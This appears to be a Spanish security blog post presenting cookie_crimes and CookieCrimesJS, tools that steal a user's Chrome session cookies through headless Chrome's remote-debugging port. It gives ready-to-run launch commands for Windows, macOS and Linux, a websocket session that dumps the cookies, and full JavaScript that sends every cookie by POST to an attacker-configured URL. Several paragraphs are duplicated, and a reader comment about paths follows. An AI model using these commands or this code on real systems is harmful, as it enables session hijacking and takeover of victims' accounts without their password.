Cookie_crimes de @mangopdf es una herramienta capaz de robar las cookies de Chrome de un usuario y, por lo tanto, iniciar sesión en todos los sitios web en los que se haya autenticado.
Funciona lanzando Chrome en modo headless (en consola) y levantándolo en modo de depuración remota, usando el mismo user-data-dir que la víctima (el directorio donde se almacenan contraseñas, historial etc. Por ej.
Esto pondrá a la escucha el debugging remoto en localhost:9222 (el puerto predeterminado para la depuración remota de Chrome) esperando cualquier websocket. Si se ejecuta el comando 'Network.getAllCookies' obtendremos el preciado botín:
Como veis, Chrome nos da las cookies sin necesidad de la contraseña de Chrome Safe Storage, y sin necesidad de ser root, o conocer la contraseña del usuario.
En el ejemplo se usa un cliente de websocket por consola (wsc), aunque el script de 'mango boy' estaba desarrollado en python:
https://github.com/defaultnamehere/cookie_crimes
Ahora, Carrie Roberts (clr2of8) ha creado una implementación en javascript que permite el robo de cookies mediante la ejecución de un comando de una sola línea o one-liner (ver abajo según la plataforma), que ejecutará el javascript que se encuentra en un archivo index.html y enviará las cookies a la URL configurada. Ojo que en el repositorio Github la salida del script (las cookies) se enviarán a la URL loggly.com. Antes debes alojarlo en su propio servidor y modificar la ubicación donde se envían:
Ten en cuenta que la ejecución de estos comandos deja en background un navegador headless, lo que puede provocar resultados inesperados si ejecuta de nuevo. Es decir, se deben matar los procesos de Chrome asociados con el navegador headless o reiniciar el sistema operativo antes de ejecutar este comando por segunda vez para garantizar obtener con éxito las cookies.
Repo: https://github.com/clr2of8/CookieCrimesJS
Funciona lanzando Chrome en modo headless (en consola) y levantándolo en modo de depuración remota, usando el mismo user-data-dir que la víctima (el directorio donde se almacenan contraseñas, historial etc. Por ej.
/Applications/Google\ Chrome.app/Contents/MacOS/Google\ Chrome \
--headless \
--user-data-dir="$HOME/Library/Application Support/Google/Chrome/" \
https://gmail.com \
--remote-debugging-port=9222
Esto pondrá a la escucha el debugging remoto en localhost:9222 (el puerto predeterminado para la depuración remota de Chrome) esperando cualquier websocket. Si se ejecuta el comando 'Network.getAllCookies' obtendremos el preciado botín:
wsc ws://localhost:9222/devtools/page/7404BF41DC4E7512E0431577BABCE18A
Connected to ws://localhost:9222/devtools/page/7404BF41DC4E7512E0431577BABCE18A
>
>{"id": 1, "method": "Network.getAllCookies"}
[{
"domain": "mail.google.com",
"expires": -1,
"httpOnly": false,
"name": "GMAIL_AT",
"path": "/mail/u/0",
"secure": true,
"session": true,
"size": 42,
"value": <unencrypted cookie value appears here>
},
...<the rest of the cookies>
Como veis, Chrome nos da las cookies sin necesidad de la contraseña de Chrome Safe Storage, y sin necesidad de ser root, o conocer la contraseña del usuario.
En el ejemplo se usa un cliente de websocket por consola (wsc), aunque el script de 'mango boy' estaba desarrollado en python:
https://github.com/defaultnamehere/cookie_crimes
Ahora, Carrie Roberts (clr2of8) ha creado una implementación en javascript que permite el robo de cookies mediante la ejecución de un comando de una sola línea o one-liner (ver abajo según la plataforma), que ejecutará el javascript que se encuentra en un archivo index.html y enviará las cookies a la URL configurada. Ojo que en el repositorio Github la salida del script (las cookies) se enviarán a la URL loggly.com. Antes debes alojarlo en su propio servidor y modificar la ubicación donde se envían:
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8">
<title>Hello World!</title>
</head>
<body>
Hello World!
<script>
var webSocketDebuggerUrl;
var port = 9222;
var request = new XMLHttpRequest();
request.open("GET", "http://localhost:" + port + "/json");
request.responseType = 'json';
request.send();
request.onload = function() {
webSocketDebuggerUrl = request.response[0].webSocketDebuggerUrl;
console.log(webSocketDebuggerUrl);
var connection = new WebSocket(webSocketDebuggerUrl);
// When the connection is open, send some data to the server
connection.onopen = function () {
connection.send('{"id": 1, "method": "Network.getAllCookies"}');
};
// Log errors
connection.onerror = function (error) {
console.log('WebSocket Error ' + error);
};
// Log messages from the server
connection.onmessage = function (e) {
console.log('Server: ' + e.data);
//send cookies to loggly
post_url = "URL-HERE"
var xhttp = new XMLHttpRequest();
xhttp.open("POST", post_url, true);
xhttp.setRequestHeader('Content-Type', 'text/plain');
xhttp.send(JSON.stringify(JSON.parse(e.data).result.cookies));
};
}
</script>
</body>
</html>
Ten en cuenta que la ejecución de estos comandos deja en background un navegador headless, lo que puede provocar resultados inesperados si ejecuta de nuevo. Es decir, se deben matar los procesos de Chrome asociados con el navegador headless o reiniciar el sistema operativo antes de ejecutar este comando por segunda vez para garantizar obtener con éxito las cookies.
Windows
Windows 10
64 Bit
"%PROGRAMFILES(X86)%\Google\Chrome\Application\chrome.exe"
--headless --remote-debugging-port=9222 --disable-web-security
--user-data-dir="%localAppData%/Google/Chrome/User Data"
--disable-plugins https://clr2of8.github.io/CookieCrimesJS/
32 Bit
"%PROGRAMFILES%\Google\Chrome\Application\chrome.exe"
--headless --remote-debugging-port=9222 --disable-web-security
--user-data-dir="%localAppData%/Google/Chrome/User Data"
--disable-plugins https://clr2of8.github.io/CookieCrimesJS/
Windows 7
"%localAppData%\Google\Chrome\Application\chrome.exe"
--headless --remote-debugging-port=9222 --disable-web-security
--user-data-dir="%localAppData%/Google/Chrome/User Data"
--disable-plugins https://clr2of8.github.io/CookieCrimesJS/
OS X
"/Applications/Google Chrome.app/Contents/MacOS/Google Chrome"
--headless --remote-debugging-port=9222 --disable-web-security
--user-data-dir="$HOME/Library/Application Support/Google/Chrome"
--disable-plugins https://clr2of8.github.io/CookieCrimesJS/
Linux
google-chrome --headless --remote-debugging-port=9222
--disable-web-security --user-data-dir="~/.config/google-chrome/default"
--disable-plugins https://clr2of8.github.io/CookieCrimesJS/
Repo: https://github.com/clr2of8/CookieCrimesJS
Cordial saludo Hacker,
ResponderEliminar"Cuando intento acceder desde Windows 7 con la siguiente sentencia: %localAppData%\Google\Chrome\Application\chrome.exe" --headless
se pierde la ruta absoluta con el directorio "Application", en lugar se encuentra "User Data". Que se puede hacer allí para llegar a la ruta especifica ya que la anterior no contiene el ejecutable de Chrome?